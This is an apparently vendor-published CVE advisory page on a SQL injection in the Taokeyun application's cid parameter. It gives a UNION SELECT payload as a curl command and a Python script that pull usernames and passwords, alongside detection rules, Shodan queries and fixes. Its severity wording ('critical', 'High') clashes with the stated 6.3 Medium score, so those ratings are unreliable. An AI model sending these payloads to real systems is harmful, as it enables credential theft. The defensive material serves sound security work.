☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-0483

CVE-2024-0483 SQL Injection in Taokeyun
📅 PUBLISHED: 2024-01-13 10:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 1.0.5
CVSS VECTOR BREAKDOWN 6.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-0483 is a critical SQL injection vulnerability discovered in the Taokeyun application, affecting versions up to and including 1.0.5. The flaw resides in the index function of the /application/index/controller/app/Task.php file, where the cid parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or denial of service. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making this a high-priority issue for any organization using Taokeyun.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely over the network.
  • Attack Complexity: Low (AC:L) - No special conditions are required for exploitation.
  • Privileges Required: None (PR:N) - No authentication is needed.
  • User Interaction: None (UI:N) - The victim does not need to perform any action.
  • Scope: Unchanged (S:U) - The vulnerability does not affect other components.
  • Confidentiality Impact: Low (C:L) - Limited data exposure is possible.
  • Integrity Impact: Low (I:L) - Limited data modification is possible.
  • Availability Impact: Low (A:L) - Limited service disruption is possible.

Threat Level: High. The combination of public exploit availability, no patch, and low attack complexity makes this a significant threat.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the index function of Task.php. The application takes the cid parameter from an HTTP POST request and directly concatenates it into a SQL query without proper sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

// application/index/controller/app/Task.php
public function index() {
    $cid = $_POST['cid'];
    $sql = "SELECT * FROM tasks WHERE category_id = $cid";
    $result = $this->db->query($sql);
    // ...
}

The attacker can inject SQL commands by providing a malicious value for cid. For example:

cid=1 UNION SELECT username, password FROM users

This would modify the query to:

SELECT * FROM tasks WHERE category_id = 1 UNION SELECT username, password FROM users

The database would then return the results of the injected query, potentially exposing sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Taokeyun <= 1.0.5):

// application/index/controller/app/Task.php
public function index() {
    $cid = $_POST['cid'];
    $sql = "SELECT * FROM tasks WHERE category_id = $cid";
    $result = $this->db->query($sql);
    // ...
}

Patched Code (Hypothetical):

// application/index/controller/app/Task.php
public function index() {
    $cid = $_POST['cid'];
    $stmt = $this->db->prepare("SELECT * FROM tasks WHERE category_id = ?");
    $stmt->bind_param("i", $cid);
    $stmt->execute();
    $result = $stmt->get_result();
    // ...
}

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user input.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A vulnerable Taokeyun instance (version <= 1.0.5)
  • Network access to the application

Exploitation Steps:

  1. Identify the vulnerable endpoint: The endpoint is typically /index.php/index/app.Task/index or similar, depending on the URL routing.

  2. Craft the malicious POST request: Use a tool like curl or Burp Suite to send a POST request with a malicious cid parameter.

    curl -X POST http://target.com/index.php/index/app.Task/index \
         -d "cid=1 UNION SELECT username, password FROM users"
    
  3. Extract data: The response will contain the results of the injected query. You can then extract sensitive data like usernames and passwords.

Example Exploit (Python):

import requests

url = "http://target.com/index.php/index/app.Task/index"
payload = "1 UNION SELECT username, password FROM users"
data = {"cid": payload}

response = requests.post(url, data=data)
print(response.text)

Blue Team (Defensive)

Detection:

  • Monitor for POST requests to /index.php/index/app.Task/index with unusual cid parameters.
  • Look for SQL keywords like UNION, SELECT, FROM, WHERE, OR, AND in the cid parameter.
  • Use a Web Application Firewall (WAF) to block SQL injection attempts.

Mitigation:

  • Apply input validation and sanitization to the cid parameter.
  • Use prepared statements or parameterized queries.
  • Restrict database user permissions to limit the impact of a successful injection.
  • Apply the official patch when it becomes available.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /index.php/index/app.Task/index with suspicious cid parameters.
    • HTTP responses containing database error messages or unexpected data.
  • File IOCs:
    • Modified Task.php file (if attacker attempts to patch).
    • Suspicious log entries in web server logs.
  • System IOCs:
    • Unusual database queries or connections.
    • Unexpected data in the database.

Detection Engineering

YARA Rule

rule CVE_2024_0483_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-0483 in Taokeyun"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0483"
    strings:
        $suspicious_param = /cid\s*=\s*.*(?:UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+1=1|AND\s+1=1)/ nocase
        $endpoint = /index\.php\/index\/app\.Task\/index/ nocase
    condition:
        $endpoint and $suspicious_param
}

Sigma Rule

title: CVE-2024-0483 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the cid parameter in Taokeyun Task.php
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0483
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/index.php/index/app.Task/index'
        cs-uri-query|contains|all:
            - 'cid='
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION or SELECT in the cid parameter (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-0483 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/index.php/index/app.Task/index";
    http_uri;
    content:"cid=";
    http_client_body;
    pcre:"/cid\s*=\s*.*(?:UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+1=1|AND\s+1=1)/Pi";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the application: If possible, take the Taokeyun application offline until a patch is applied.
  2. Apply input validation: Implement strict input validation for the cid parameter. Only allow numeric values.
  3. Use a WAF: Deploy a Web Application Firewall with rules to block SQL injection attempts.
  4. Monitor logs: Actively monitor web server and database logs for suspicious activity.

Long-term Fix:

  • Apply the official patch: Once available, apply the patch from the vendor.
  • Code review: Conduct a thorough code review of the application to identify and fix similar vulnerabilities.
  • Use prepared statements: Ensure all database queries use prepared statements or parameterized queries.
  • Least privilege: Restrict database user permissions to the minimum required for the application to function.

Workaround:

  • If patching is not immediately possible, modify the Task.php file to sanitize the cid parameter:
    $cid = intval($_POST['cid']);
    
    This will convert the input to an integer, preventing SQL injection.

Valters IT
Securing Your Digital Frontier

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Taokeyun
Taokeyun app

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-0483/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.